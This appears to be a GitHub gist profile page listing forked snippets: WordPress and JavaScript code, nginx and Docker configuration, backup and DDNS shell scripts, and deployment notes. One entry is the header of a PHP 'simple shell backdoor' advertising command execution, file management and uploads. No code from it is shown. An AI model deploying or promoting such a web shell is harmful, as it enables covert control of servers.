Skip to content

Instantly share code, notes, and snippets.

View petrozavodsky's full-sized avatar

Vladimir Petrozavodsky petrozavodsky

View GitHub Profile
@petrozavodsky
petrozavodsky / lite_shell.php
Created September 27, 2021 16:09 — forked from justalinko/lite_shell.php
Lite shell - lightweight simple shell backdoor
<?php
/**
* Lite 1.0
*
* [ Lite - Simple shell backdoor ].
* [ Feature : Filemanager,command,upload,php,server info,etc. ]
*
* @author shutdown57 < alinkokomansuby@gmail.com >
* @version 1.0
* @copyright (c) 2018 Alinko.
@petrozavodsky
petrozavodsky / WP3.5 Media Uploader
Created June 18, 2021 09:21 — forked from mauryaratan/WP3.5 Media Uploader
WordPress 3.5 media uploader in easier steps. If using other than edit post screen, don't forget to use wp_enqueue_media(); in your functions.php
jQuery(document).ready(function($){
var _custom_media = true,
_orig_send_attachment = wp.media.editor.send.attachment;
$('.stag-metabox-table .button').click(function(e) {
var send_attachment_bkp = wp.media.editor.send.attachment;
var button = $(this);
var id = button.attr('id').replace('_button', '');
_custom_media = true;
wp.media.editor.send.attachment = function(props, attachment){
if ( _custom_media ) {
@petrozavodsky
petrozavodsky / imgproxy.conf
Created June 7, 2019 09:19 — forked from DarthSim/imgproxy.conf
Nginx configuration for imgproxy
server {
server_name your-domain.com;
listen 443;
client_max_body_size 8M;
ssl on;
ssl_certificate /path/to/your/cert.crt;
ssl_certificate_key /path/to/your/cert.key;
@petrozavodsky
petrozavodsky / Dockerfile
Created June 7, 2019 09:13 — forked from DarthSim/Dockerfile
imgproxy + nginx
FROM darthsim/imgproxy:latest
RUN echo "http://dl-cdn.alpinelinux.org/alpine/edge/testing" >> /etc/apk/repositories \
&& apk --no-cache upgrade \
&& apk add --no-cache nginx
RUN echo -e "#!/bin/bash\nnginx && imgproxy" > /usr/local/bin/imgproxy-nginx
RUN chmod +x /usr/local/bin/imgproxy-nginx
RUN mkdir -p /run/nginx
#!/bin/sh
NOIP_USERNAME="[your-username-at-noip.com]"
NOIP_PASSWORD="[your-password-at-noip.com]"
NOIP_DDNS_HOSTNAME="[your-hostname].ddns.net"
NOIP_UPDATE_URL="https://dynupdate.no-ip.com/nic/update"
CACHED_IP_FILE=/tmp/cached_ip
SCRIPT_NAME=$(basename $0)
SCRIPT_PID=`/bin/pidof $SCRIPT_NAME`
SYSLOG_TAG="$SCRIPT_NAME[$SCRIPT_PID]"
# If you come from bash you might have to change your $PATH.
# export PATH=$HOME/bin:/usr/local/bin:$PATH
# Path to your oh-my-zsh installation.
export ZSH="/Users/admin/.oh-my-zsh"
# Set name of the theme to load. Optionally, if you set this to "random"
# it'll load a random theme each time that oh-my-zsh is loaded.
# See https://github.com/robbyrussell/oh-my-zsh/wiki/Themes
ZSH_THEME="powerlevel9k/powerlevel9k"
sshfs -o IdentityFile=/backup/.ssh/id_rsa_backup -o idmap=user -o uid=0 -o gid=0 u13529@u13529.your-backup.de:/ /sshfs/backup
/usr/bin/rsync -rclv --delete-before /rsnapshot /sshfs/backup/
fusermount -u /sshfs/backup
@petrozavodsky
petrozavodsky / Hooks.js
Created August 25, 2018 15:16 — forked from rheinardkorf/Hooks.js
Simple WordPress like hooks system for JavaScript.
/**
* @file A WordPress-like hook system for JavaScript.
*
* This file demonstrates a simple hook system for JavaScript based on the hook
* system in WordPress. The purpose of this is to make your code extensible and
* allowing other developers to hook into your code with their own callbacks.
*
* There are other ways to do this, but this will feel right at home for
* WordPress developers.
*
@petrozavodsky
petrozavodsky / fetchtransactionsbywallet.md
Created August 21, 2018 10:04 — forked from shov/fetchtransactionsbywallet.md
Etherscan public API to fetch transactions by wallet

Etherscan public API

Overview

There is no documentation at the moment, but there are some rumors. And experemental way I've made sure about few end-points are working good:

Common account info

GET: https://www.etherchain.org/api/account/0xAAAsomeADDR00000000000/ Will return something like that:

{
@petrozavodsky
petrozavodsky / git-deployment.md
Created August 13, 2018 16:00 — forked from noelboss/git-deployment.md
Simple automated GIT Deployment using Hooks

Simple automated GIT Deployment using GIT Hooks

Here are the simple steps needed to create a deployment from your lokal GIT repository to a server based on this in-depth tutorial.

How it works

You are developing in a working-copy on your local machine, lets say on the master branch. Most of the time, people would push code to a remote server like github.com or gitlab.com and pull or export it to a production server. Or you use a service like my Deepl.io to act upon a Web-Hook that's triggered that service.